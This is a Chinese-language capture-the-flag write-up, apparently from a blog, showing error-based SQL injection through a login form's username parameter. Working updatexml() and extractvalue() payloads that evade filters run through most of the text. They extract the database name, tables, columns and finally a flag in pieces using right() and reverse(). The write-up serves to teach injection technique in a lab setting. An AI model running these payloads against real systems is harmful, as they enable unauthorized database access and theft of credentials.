显错注入
先判断看页面是否存在注入,
?username=aa%27or(1)%23&password=1
发现存在注入

在进行判断的过程中发现它过滤了%20,and,所以我们要对它进行模糊测试,看下它还过滤了哪些字符

可以看到,他把union也过滤了,这里可以选择使用updatexml()或extractvalues()函数进行报错注入。
流程
?username=aa%27or(updatexml(1,concat(0x7e,(select(database()))),0))%23&password=123
库名:geek
?username=aa%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))),0))%23&password=123
表名:H4rDsq1
?username=aa%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))),0))%23&password=123
字段名:id,username,password
?username=aa%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1))),0))%23&password=123
password字段前:flag{5810395a-c01c-4fb7-bfff-03
?username=aa%27or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))),0))%23&password=123
password字段后:a-c01c-4fb7-bfff-037dbe0e0942}
?username=aa%27or(updatexml(1,concat(0x7e,(select(reverse(password))from(H4rDsq1))),0))%23&password=123
password字段逆序:}2490e0ebd730-fffb-7bf4-c10c-a5
上面因为可显示的字段数有限,所以我们要分段显示,一般会使用substr,但是这里被过滤了,也可以使用reverse,left,right分段输出
拼接后拿到 flag{5810395a-c01c-4fb7-bfff-037dbe0e0942}
也可以使用extractvalue()函数进行报错注入,例如
?username=aa%27or
(extractvalue('1',concat('~',(select(database())))))%23&password=123
extractvalue()
extractvalue() :对XML文档进行查询的函数
extractvalue(目标xml文档,xml文档路径)
updatexml()
updatexml()函数与extractvalue()类似,是更新xml文档的函数。
updatexml(目标xml内容,xml文档路径,更新的内容)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
https://blog.youkuaiyun.com/zpy1998zpy/article/details/80631036
本文介绍了一种通过显错注入获取数据库信息的方法。首先确认页面存在SQL注入漏洞,然后利用updatexml()函数绕过过滤,逐步获取数据库名称、表名、字段名及最终的数据内容。
1472

被折叠的 条评论
为什么被折叠?



